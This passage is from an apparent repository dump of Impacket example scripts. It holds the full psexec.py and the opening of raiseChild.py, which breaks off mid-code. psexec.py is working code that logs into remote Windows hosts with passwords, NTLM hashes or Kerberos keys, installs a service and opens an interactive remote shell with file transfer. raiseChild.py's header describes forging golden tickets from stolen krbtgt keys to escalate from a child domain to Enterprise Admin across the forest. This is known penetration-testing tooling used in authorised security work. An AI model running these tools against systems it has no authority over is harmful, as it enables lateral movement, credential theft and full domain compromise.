ICMP6.ICMP6.ECHO_REPLY == rip.get_type():\n            print(\"%d bytes from %s: icmp_seq=%d \" % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number()))\n\n        time.sleep(1)\n"
  },
  {
    "path": "examples/psexec.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)\n#\n# Author:\n#   beto (@agsolino)\n#\n# Reference for:\n#   DCE/RPC and SMB.\n#\n\nimport sys\nimport os\nimport re\nimport cmd\nimport logging\nfrom threading import Thread, Lock\nimport argparse\nimport random\nimport string\nimport time\nfrom six import PY3\n\nfrom impacket.examples import logger\nfrom impacket import version, smb\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.structure import Structure\nfrom impacket.examples import remcomsvc, serviceinstall\nfrom impacket.examples.utils import parse_target\nfrom impacket.krb5.keytab import Keytab\n\nCODEC = sys.stdout.encoding\n\nclass RemComMessage(Structure):\n    structure = (\n        ('Command','4096s=\"\"'),\n        ('WorkingDir','260s=\"\"'),\n        ('Priority','<L=0x20'),\n        ('ProcessID','<L=0x01'),\n        ('Machine','260s=\"\"'),\n        ('NoWait','<L=0'),\n    )\n\nclass RemComResponse(Structure):\n    structure = (\n        ('ErrorCode','<L=0'),\n        ('ReturnCode','<L=0'),\n    )\n\nRemComSTDOUT = \"RemCom_stdout\"\nRemComSTDIN = \"RemCom_stdin\"\nRemComSTDERR = \"RemCom_stderr\"\n\nlock = Lock()\n\nclass PSEXEC:\n    def __init__(self, command, path, exeFile, copyFile, port=445,\n                 username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, serviceName=None,\n                 remoteBinaryName=None):\n        self.__username = username\n        self.__password = password\n        self.__port = port\n        self.__command = command\n        self.__path = path\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__exeFile = exeFile\n        self.__copyFile = copyFile\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__serviceName = serviceName\n        self.__remoteBinaryName = remoteBinaryName\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def run(self, remoteName, remoteHost):\n        stringbinding = r'ncacn_np:%s[\\pipe\\svcctl]' % remoteName\n        logging.debug('StringBinding %s'%stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.set_dport(self.__port)\n        rpctransport.setRemoteHost(remoteHost)\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                         self.__nthash, self.__aesKey)\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n        self.doStuff(rpctransport)\n\n    def openPipe(self, s, tid, pipe, accessMask):\n        pipeReady = False\n        tries = 50\n        while pipeReady is False and tries > 0:\n            try:\n                s.waitNamedPipe(tid,pipe)\n                pipeReady = True\n            except:\n                tries -= 1\n                time.sleep(2)\n                pass\n\n        if tries == 0:\n            raise Exception('Pipe not ready, aborting')\n\n        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)\n\n        return fid\n\n    def doStuff(self, rpctransport):\n\n        dce = rpctransport.get_dce_rpc()\n        try:\n            dce.connect()\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.critical(str(e))\n            sys.exit(1)\n\n        global dialect\n        dialect = rpctransport.get_smb_connection().getDialect()\n\n        try:\n            unInstalled = False\n            s = rpctransport.get_smb_connection()\n\n            # We don't wanna deal with timeouts from now on.\n            s.setTimeout(100000)\n            if self.__exeFile is None:\n                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName)\n            else:\n                try:\n                    f = open(self.__exeFile, 'rb')\n                except Exception as e:\n                    logging.critical(str(e))\n                    sys.exit(1)\n                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f, self.__serviceName, self.__remoteBinaryName)\n\n            if installService.install() is False:\n                return\n\n            if self.__exeFile is not None:\n                f.close()\n\n            # Check if we need to copy a file for execution\n            if self.__copyFile is not None:\n                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))\n                # And we change the command to be executed to this filename\n                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command\n\n            tid = s.connectTree('IPC$')\n            fid_main = self.openPipe(s,tid,r'\\RemCom_communicaton',0x12019f)\n\n            packet = RemComMessage()\n            pid = os.getpid()\n\n            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])\n            if self.__path is not None:\n                packet['WorkingDir'] = self.__path\n            packet['Command'] = self.__command\n            packet['ProcessID'] = pid\n\n            s.writeNamedPipe(tid, fid_main, packet.getData())\n\n            # Here we'll store the command we type so we don't print it back ;)\n            # ( I know.. globals are nasty :P )\n            global LastDataSent\n            LastDataSent = ''\n\n            # Create the pipes threads\n            stdin_pipe = RemoteStdInPipe(rpctransport,\n                                         r'\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),\n                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())\n            stdin_pipe.start()\n            stdout_pipe = RemoteStdOutPipe(rpctransport,\n                                           r'\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),\n                                           smb.FILE_READ_DATA)\n            stdout_pipe.start()\n            stderr_pipe = RemoteStdErrPipe(rpctransport,\n                                           r'\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),\n                                           smb.FILE_READ_DATA)\n            stderr_pipe.start()\n\n            # And we stay here till the end\n            ans = s.readNamedPipe(tid,fid_main,8)\n\n            if len(ans):\n                retCode = RemComResponse(ans)\n                logging.info(\"Process %s finished with ErrorCode: %d, ReturnCode: %d\" % (\n                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))\n            installService.uninstall()\n            if self.__copyFile is not None:\n                # We copied a file for execution, let's remove it\n                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))\n            unInstalled = True\n            sys.exit(retCode['ErrorCode'])\n\n        except SystemExit:\n            raise\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.debug(str(e))\n            if unInstalled is False:\n                installService.uninstall()\n                if self.__copyFile is not None:\n                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))\n            sys.stdout.flush()\n            sys.exit(1)\n\n\nclass Pipes(Thread):\n    def __init__(self, transport, pipe, permissions, share=None):\n        Thread.__init__(self)\n        self.server = 0\n        self.transport = transport\n        self.credentials = transport.get_credentials()\n        self.tid = 0\n        self.fid = 0\n        self.share = share\n        self.port = transport.get_dport()\n        self.pipe = pipe\n        self.permissions = permissions\n        self.daemon = True\n\n    def connectPipe(self):\n        try:\n            lock.acquire()\n            global dialect\n            #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)\n            self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(),\n                                        sess_port=self.port, preferredDialect=dialect)\n            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials\n            if self.transport.get_kerberos() is True:\n                self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)\n            else:\n                self.server.login(user, passwd, domain, lm, nt)\n            lock.release()\n            self.tid = self.server.connectTree('IPC$')\n\n            self.server.waitNamedPipe(self.tid, self.pipe)\n            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)\n            self.server.setTimeout(1000000)\n        except:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(\"Something wen't wrong connecting the pipes(%s), try again\" % self.__class__)\n\n\nclass RemoteStdOutPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions):\n        Pipes.__init__(self, transport, pipe, permisssions)\n\n    def run(self):\n        self.connectPipe()\n\n        global LastDataSent\n\n        if PY3:\n            __stdoutOutputBuffer, __stdoutData = b\"\", b\"\"\n\n            while True:\n                try:\n                    stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)\n                except:\n                    pass\n                else:\n                    try:\n                        if stdout_ans != LastDataSent:\n                            if len(stdout_ans) != 0:\n                                # Append new data to the buffer while there is data to read\n                                __stdoutOutputBuffer += stdout_ans\n\n                        promptRegex = rb'([a-zA-Z]:[\\\\\\/])((([a-zA-Z0-9 -\\.]*)[\\\\\\/]?)+(([a-zA-Z0-9 -\\.]+))?)?>$'\n\n                        endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)\n                        if endsWithPrompt == True:\n                            # All data, we shouldn't have encoding errors\n                            # Adding a space after the prompt because it's beautiful\n                            __stdoutData = __stdoutOutputBuffer + b\" \"\n                            # Remainder data for next iteration\n                            __stdoutOutputBuffer = b\"\"\n\n                            # print(\"[+] endsWithPrompt\")\n                            # print(\" | __stdoutData:\",__stdoutData)\n                            # print(\" | __stdoutOutputBuffer:\",__stdoutOutputBuffer)\n                        elif b'\\n' in __stdoutOutputBuffer:\n                            # We have read a line, print buffer if it is not empty\n                            lines = __stdoutOutputBuffer.split(b\"\\n\")\n                            # All lines, we shouldn't have encoding errors\n                            __stdoutData = b\"\\n\".join(lines[:-1]) + b\"\\n\"\n                            # Remainder data for next iteration\n                            __stdoutOutputBuffer = lines[-1]\n                            # print(\"[+] newline in __stdoutOutputBuffer\")\n                            # print(\" | __stdoutData:\",__stdoutData)\n                            # print(\" | __stdoutOutputBuffer:\",__stdoutOutputBuffer)\n\n                        if len(__stdoutData) != 0:\n                            # There is data to print\n                            try:\n                                sys.stdout.write(__stdoutData.decode(CODEC))\n                                sys.stdout.flush()\n                                __stdoutData = b\"\"\n                            except UnicodeDecodeError:\n                                logging.error('Decoding error detected, consider running chcp.com at the target,\\nmap the result with '\n                                              'https://docs.python.org/3/library/codecs.html#standard-encodings\\nand then execute smbexec.py '\n                                              'again with -codec and the corresponding codec')\n                                print(__stdoutData.decode(CODEC, errors='replace'))\n                                __stdoutData = b\"\"\n                        else:\n                            # Don't echo the command that was sent, and clear it up\n                            LastDataSent = b\"\"\n                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,\n                        # it will give false positives tho.. we should find a better way to handle this.\n                        # if LastDataSent > 10:\n                        #     LastDataSent = ''\n                    except:\n                        pass\n        else:\n            __stdoutOutputBuffer, __stdoutData = \"\", \"\"\n\n            while True:\n                try:\n                    stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)\n                except:\n                    pass\n                else:\n                    try:\n                        if stdout_ans != LastDataSent:\n                            if len(stdout_ans) != 0:\n                                # Append new data to the buffer while there is data to read\n                                __stdoutOutputBuffer += stdout_ans\n\n                        promptRegex = r'([a-zA-Z]:[\\\\\\/])((([a-zA-Z0-9 -\\.]*)[\\\\\\/]?)+(([a-zA-Z0-9 -\\.]+))?)?>$'\n\n                        endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)\n                        if endsWithPrompt:\n                            # All data, we shouldn't have encoding errors\n                            # Adding a space after the prompt because it's beautiful\n                            __stdoutData = __stdoutOutputBuffer + \" \"\n                            # Remainder data for next iteration\n                            __stdoutOutputBuffer = \"\"\n\n                        elif '\\n' in __stdoutOutputBuffer:\n                            # We have read a line, print buffer if it is not empty\n                            lines = __stdoutOutputBuffer.split(\"\\n\")\n                            # All lines, we shouldn't have encoding errors\n                            __stdoutData = \"\\n\".join(lines[:-1]) + \"\\n\"\n                            # Remainder data for next iteration\n                            __stdoutOutputBuffer = lines[-1]\n\n                        if len(__stdoutData) != 0:\n                            # There is data to print\n                            sys.stdout.write(__stdoutData.decode(CODEC))\n                            sys.stdout.flush()\n                            __stdoutData = \"\"\n                        else:\n                            # Don't echo the command that was sent, and clear it up\n                            LastDataSent = \"\"\n                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,\n                        # it will give false positives tho.. we should find a better way to handle this.\n                        # if LastDataSent > 10:\n                        #     LastDataSent = ''\n                    except Exception as e:\n                        pass\n\n\nclass RemoteStdErrPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions):\n        Pipes.__init__(self, transport, pipe, permisssions)\n\n    def run(self):\n        self.connectPipe()\n\n        if PY3:\n            __stderrOutputBuffer, __stderrData = b'', b''\n\n            while True:\n                try:\n                    stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)\n                except:\n                    pass\n                else:\n                    try:\n                        if len(stderr_ans) != 0:\n                            # Append new data to the buffer while there is data to read\n                            __stderrOutputBuffer += stderr_ans\n\n                        if b'\\n' in __stderrOutputBuffer:\n                            # We have read a line, print buffer if it is not empty\n                            lines = __stderrOutputBuffer.split(b\"\\n\")\n                            # All lines, we shouldn't have encoding errors\n                            __stderrData = b\"\\n\".join(lines[:-1]) + b\"\\n\"\n                            # Remainder data for next iteration\n                            __stderrOutputBuffer = lines[-1]\n\n                        if len(__stderrData) != 0:\n                            # There is data to print\n                            try:\n                                sys.stdout.write(__stderrData.decode(CODEC))\n                                sys.stdout.flush()\n                                __stderrData = b\"\"\n                            except UnicodeDecodeError:\n                                logging.error('Decoding error detected, consider running chcp.com at the target,\\nmap the result with '\n                                              'https://docs.python.org/3/library/codecs.html#standard-encodings\\nand then execute smbexec.py '\n                                              'again with -codec and the corresponding codec')\n                                print(__stderrData.decode(CODEC, errors='replace'))\n                                __stderrData = b\"\"\n                        else:\n                            # Don't echo the command that was sent, and clear it up\n                            LastDataSent = b\"\"\n                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,\n                        # it will give false positives tho.. we should find a better way to handle this.\n                        # if LastDataSent > 10:\n                        #     LastDataSent = ''\n                    except Exception as e:\n                        pass\n        else:\n            __stderrOutputBuffer, __stderrData = '', ''\n\n            while True:\n                try:\n                    stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)\n                except:\n                    pass\n                else:\n                    try:\n                        if len(stderr_ans) != 0:\n                            # Append new data to the buffer while there is data to read\n                            __stderrOutputBuffer += stderr_ans\n\n                        if '\\n' in __stderrOutputBuffer:\n                            # We have read a line, print buffer if it is not empty\n                            lines = __stderrOutputBuffer.split(\"\\n\")\n                            # All lines, we shouldn't have encoding errors\n                            __stderrData = \"\\n\".join(lines[:-1]) + \"\\n\"\n                            # Remainder data for next iteration\n                            __stderrOutputBuffer = lines[-1]\n\n                        if len(__stderrData) != 0:\n                            # There is data to print\n                            sys.stdout.write(__stderrData.decode(CODEC))\n                            sys.stdout.flush()\n                            __stderrData = \"\"\n                        else:\n                            # Don't echo the command that was sent, and clear it up\n                            LastDataSent = \"\"\n                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,\n                        # it will give false positives tho.. we should find a better way to handle this.\n                        # if LastDataSent > 10:\n                        #     LastDataSent = ''\n                    except:\n                        pass\n\n\nclass RemoteShell(cmd.Cmd):\n    def __init__(self, server, port, credentials, tid, fid, share, transport):\n        cmd.Cmd.__init__(self, False)\n        self.prompt = '\\x08'\n        self.server = server\n        self.transferClient = None\n        self.tid = tid\n        self.fid = fid\n        self.credentials = credentials\n        self.share = share\n        self.port = port\n        self.transport = transport\n        self.intro = '[!] Press help for extra shell commands'\n\n    def connect_transferClient(self):\n        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)\n        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,\n                                            preferredDialect=dialect)\n        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials\n        if self.transport.get_kerberos() is True:\n            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,\n                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)\n        else:\n            self.transferClient.login(user, passwd, domain, lm, nt)\n\n    def do_help(self, line):\n        print(\"\"\"\n lcd {path}                 - changes the current local directory to {path}\n exit                       - terminates the server process (and this session)\n lput {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n lget {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir\n ! {cmd}                    - executes a local shell cmd\n\"\"\" % (self.share, self.share))\n        self.send_data('\\r\\n', False)\n\n    def do_shell(self, s):\n        os.system(s)\n        self.send_data('\\r\\n')\n\n    def do_lget(self, src_path):\n        try:\n            if self.transferClient is None:\n                self.connect_transferClient()\n\n            import ntpath\n            filename = ntpath.basename(src_path)\n            fh = open(filename,'wb')\n            logging.info(\"Downloading %s\\\\%s\" % (self.share, src_path))\n            self.transferClient.getFile(self.share, src_path, fh.write)\n            fh.close()\n        except Exception as e:\n            logging.critical(str(e))\n            pass\n\n        self.send_data('\\r\\n')\n\n    def do_lput(self, s):\n        try:\n            if self.transferClient is None:\n                self.connect_transferClient()\n            params = s.split(' ')\n            if len(params) > 1:\n                src_path = params[0]\n                dst_path = params[1]\n            elif len(params) == 1:\n                src_path = params[0]\n                dst_path = '/'\n\n            src_file = os.path.basename(src_path)\n            fh = open(src_path, 'rb')\n            f = dst_path + '/' + src_file\n            pathname = f.replace('/','\\\\')\n            logging.info(\"Uploading %s to %s\\\\%s\" % (src_file, self.share, dst_path))\n            if PY3:\n                self.transferClient.putFile(self.share, pathname, fh.read)\n            else:\n                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)\n            fh.close()\n        except Exception as e:\n            logging.error(str(e))\n            pass\n\n        self.send_data('\\r\\n')\n\n    def do_lcd(self, s):\n        if s == '':\n            print(os.getcwd())\n        else:\n            os.chdir(s)\n        self.send_data('\\r\\n')\n\n    def emptyline(self):\n        self.send_data('\\r\\n')\n        return\n\n    def default(self, line):\n        if PY3:\n            self.send_data(line.encode(CODEC)+b'\\r\\n')\n        else:\n            self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\\r\\n')\n\n    def send_data(self, data, hideOutput = True):\n        if hideOutput is True:\n            global LastDataSent\n            LastDataSent = data\n        else:\n            LastDataSent = ''\n        self.server.writeFile(self.tid, self.fid, data)\n\nclass RemoteStdInPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions, share=None):\n        self.shell = None\n        Pipes.__init__(self, transport, pipe, permisssions, share)\n\n    def run(self):\n        self.connectPipe()\n        self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)\n        self.shell.cmdloop()\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"PSEXEC like functionality example using RemComSvc.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at '\n                                                                  'the target (w/o path) - (default:cmd.exe)')\n    parser.add_argument('-c', action='store',metavar = \"pathname\",  help='copy the filename for later execution, '\n                                                                         'arguments are passed in the command option')\n    parser.add_argument('-path', action='store', help='path of the command to execute')\n    parser.add_argument('-file', action='store', help=\"alternative RemCom binary (be sure it doesn't require CRT)\")\n    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\\'s output (default '\n                                                       '\"%s\"). If errors are detected, run chcp.com at the target, '\n                                                       'map the result with '\n                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '\n                          'again with -codec and the corresponding codec ' % CODEC)\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n    group.add_argument('-service-name', action='store', metavar=\"service_name\", default = '', help='The name of the service'\n                                                                                ' used to trigger the payload')\n    group.add_argument('-remote-binary-name', action='store', metavar=\"remote_binary_name\", default = None, help='This will '\n                                                            'be the name of the executable uploaded on the target')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.codec is not None:\n        CODEC = options.codec\n    else:\n        if CODEC is None:\n            CODEC = 'utf-8'\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if options.keytab is not None:\n        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)\n        options.k = True\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    command = ' '.join(options.command)\n    if command == ' ':\n        command = 'cmd.exe'\n\n    executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,\n                      options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name)\n    executer.run(remoteName, options.target_ip)\n"
  },
  {
    "path": "examples/raiseChild.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script implements a child-domain to forest privilege escalation\n#   as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will\n#   be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented\n#   by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz).\n#   The idea of automating all these tasks came from @mubix.\n#\n#   The workflow is as follows:\n#       Input:\n#           1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'\n#              The domain specified MUST be the domain FQDN.\n#           2) Optionally a pathname to save the generated golden ticket (-w switch)\n#           3) Optionally a target-user RID to get credentials (-targetRID switch)\n#              Administrator by default.\n#           4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).\n#              Enterprise Admin by default.\n#\n#       Process:\n#           1) Find out where the child domain controller is located and get its info (via [MS-NRPC])\n#           2) Find out what the forest FQDN is (via [MS-NRPC])\n#           3) Get the forest's Enterprise Admin SID (via [MS-LSAT])\n#           4) Get the child domain's krbtgt credentials (via [MS-DRSR])\n#           5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array\n#              and setting expiration 10 years from now\n#           6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)\n#           7) If file was specified, save the golden ticket in ccache format\n#           8) If target was specified, a PSEXEC shell is launched\n#\n#       Output:\n#           1) Target user credentials (Forest's krbtgt/admin credentials by default)\n#           2) A golden ticket saved in ccache for future fun and profit\n#           3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec\n#              parameter.\n#\n#   IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the\n#                   forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar\n#\n#   E.G:\n#   Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx):\n#     A forest is the only component of the Active Directory logical structure that is a security boundary.\n#     By contrast, a domain is not a security boundary because it is not possible for administrators from one domain\n#     to prevent a malicious administrator from another domain within the forest from accessing data in their domain.\n#     A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers.\n#     In addition, each domain has its own individual security policies and trust relationships with other domains.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport datetime\nimport logging\nimport random\nimport string\nimport sys\nimport os\nimport cmd\nimport time\nfrom threading import Thread, Lock\nfrom binascii import unhexlify, hexlify\nfrom socket import gethostbyname\nfrom struct import unpack\nfrom six import PY3\n\ntry:\n    import pyasn1\nexcept ImportError:\n     logging.critical('This module needs pyasn1 installed')\n     logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')\n     sys.exit(1)\nfrom impacket import version\nfrom impacket.krb5.types import Principal, KerberosTime\nfrom impacket.krb5 import constants\nfrom impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError\nfrom impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart\nfrom impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype\nfrom impacket.dcerpc.v5.ndr import NDRULONG\nfrom impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity\nfrom impacket.ntlm import LMOWFv1, NTOWFv1\nfrom impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE\nfrom impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx\nfrom impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids\nfrom impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2\nfrom impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \\\n    PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \\\n    PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO\nfrom impacket.dcerpc.v5 import transport, drsuapi, epm, samr\nfrom impacket.smbconnection import SessionError\nfrom impacket.nt_errors import STATUS_NO_LOGON_SERVERS\nfrom impacket.smbconnection import SMBConnection, smb\nfrom impacket.structure import Structure\nfrom impacket.examples import remcomsvc, serviceinstall\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\nclass RemComMessage(Structure):\n    structure = (\n        ('Command','4096s=\"\"'),\n        ('WorkingDir','260s=\"\"'),\n        ('Priority','<L=0x20'),\n        ('ProcessID','<L=0x01'),\n        ('Machine','260s=\"\"'),\n        ('NoWait','<L=0'),\n    )\n\nclass RemComResponse(Structure):\n    structure = (\n        ('ErrorCode','<L=0'),\n        ('ReturnCode','<L=0'),\n    )\n\nRemComSTDOUT         = \"RemCom_stdout\"\nRemComSTDIN          = \"RemCom_stdin\"\nRemComSTDERR         = \"RemCom_stderr\"\n\nlock = Lock()\n\nclass PSEXEC:\n    def __init__(self, command, username, domain, smbConnection, TGS, copyFile):\n        self.__username = username\n        self.__command = command\n        self.__path = None\n        self.__domain = domain\n        self.__exeFile = None\n        self.__copyFile = copyFile\n        self.__TGS = TGS\n        self.__smbConnection = smbConnection\n\n    def run(self, addr):\n        rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)\n        dce = rpctransport.get_dce_rpc()\n        try:\n            dce.connect()\n        except Exception as e:\n            logging.critical(str(e))\n            sys.exit(1)\n\n        global dialect\n        dialect = rpctransport.get_smb_connection().getDialect()\n\n        try:\n            unInstalled = False\n            s = rpctransport.get_smb_connection()\n\n            # We don't wanna deal with timeouts from now on.\n            s.setTimeout(100000)\n            if self.__exeFile is None:\n                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())\n            else:\n                try:\n                    f = open(self.__exeFile, 'rb')\n                except Exception as e:\n                    logging.critical(str(e))\n                    sys.exit(1)\n                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)\n    \n            installService.install()\n\n            if self.__exeFile is not None:\n                f.close()\n\n            # Check if we need to copy a file for execution\n            if self.__copyFile is not None:\n                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))\n                # And we change the command to be executed to this filename\n                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command\n\n            tid = s.connectTree('IPC$')\n            fid_main = 